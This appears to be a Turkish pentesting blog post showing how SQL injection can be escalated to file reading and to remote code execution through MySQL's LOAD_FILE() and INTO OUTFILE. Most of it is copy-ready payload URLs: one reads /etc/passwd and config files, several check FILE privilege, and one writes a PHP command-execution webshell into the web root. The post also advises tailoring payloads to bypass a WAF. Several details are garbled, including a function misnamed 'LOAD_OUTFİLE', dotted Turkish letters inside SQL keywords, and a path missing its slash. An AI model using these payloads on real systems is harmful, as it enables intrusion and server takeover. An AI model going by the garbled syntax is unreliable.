12 Şubat 2021 Cuma

SQL INJECTION TO RCE & LFI


Bu makalemde sizlere SQLI TO RCE ve SQLI TO LFI konularına değineceğim. Konuyu olabildiğince kısa ve açıklayıcı yazmaya özen gösterdim umarım yardımı dokunur.

Genelde pentestlerde SQL Injection bulunduğu zaman pentester arkadaşımız direk admin panel bilgilerini elde edip yönetim panelinde web shell yükleyebileceği bir file upload açığı arar ancak kimi zaman admin panelin pathini bulamaz kimi zaman zararlısını upload edebileceği biryer. Bu gibi durumlarda yardımımıza  MySQL'in LOAD_FILE() ve INTO_OUTFILE() fonksiyonları yetişiyor.

Peki Nedir Hocam Bunlar?

LOAD_FILE() fonksiyonu bir dosyayı okumamıza yarar yani size bir tüyo SQLI to LFI'ı bu fonksiyon sayesinde  yapacağız demek oluyor bu. INTO_OUTFILE() fonksiyonu ise bizim verdiğimiz metni bir dosyaya yazmamıza yarar bunun sayesinde de web shell imizi atacağız.

Let's Do It !!

Web Shell atmayı göstermeden önce LOAD_FILE() ile dosya okumayı göstereyim bu fonksiyon ile dosya okumak için okunacak dosyamızın herkes tarafından okunabillir olması lazım. hemen bir örnekle göstereyim.

Örnek Payload:

http://www.0xp0lyx4.blogspot.com/index.php?id=1 UNION SELECT 1,LOAD_FİLE('etc/passwd'),3,4,5,6,7-- -
bu payload ile eğer etc/passwd dosyasında herkese okuma izni açık ise başarılı bir şekilde okumuş olduk. Tabiki okuyabileceğimiz dosyalar sadece passwd ile sınırlı değil mesela web uygulamalarının config dosyaları gibi kritik dosyaları okuyarak önemli bilgiler elde edebilirsiniz.

Şimdi sırada LOAD_OUTFİLE fonksiyonu ile webshell atmak var. Web Shellimizi atacağımız yerdeki izinlerimizi kontrol etmekle başlayabiliriz. Bunun için birçok yöntem var ancak biz biri ile başlyalım .

Örnek Payloadlar:

http://www.0xp0lyx4.blogspot.com/index.php?id=1' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%0xp0lyx4%'),1,1)='Y
http://www.0xp0lyx4.blogspot.com/index.php?id=1' UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee  like '%0xp0lyx4%
http://www.0xp0lyx4.blogspot.com/index.php?id=1' AND MID((SELECT file_priv FROM mysql.user WHERE user = '0xp0lyx4'),1,1) = 'Y'
Eğer herhangi bir sebepten yukarıdaki gibi yapamıyorsanız biraz daha uğraştırıcı bir yol denemek durumunda kalıyorsunuz, dosyalara yazmayı elle deneme yanılma yoluyla denemek.

http://www.0xp0lyx4.blogspot.com/index.php?id=1′ UNION SELECT 1,2,3, '<?php system($_GET['cmd']) ?>' ,5,6,7,8 INTO OUTFİLE '/var/www/webshell.php'-- -
Yukarıdaki gibi webshell.php yi oluşturmuş olduk. bu da SQLI to RCE ye bir örnektir. Tabiki her sitede direk bu payloadları kopyala yapıştır yapmak işe yarıyacak diye birşey yok WAF(Web Application Firewall) olan sitelerde WAF Bypasslamak için payloadı siteye göre özelleştirmeniz gerekecektir.

Umarım makalemin size yardımı dokunmuştur sonuna kadar okuduğunuz için teşekkür ederim. Bir sonraki makaleme kadar Hoşçakalın :)

0 yorum:

Yorum Gönder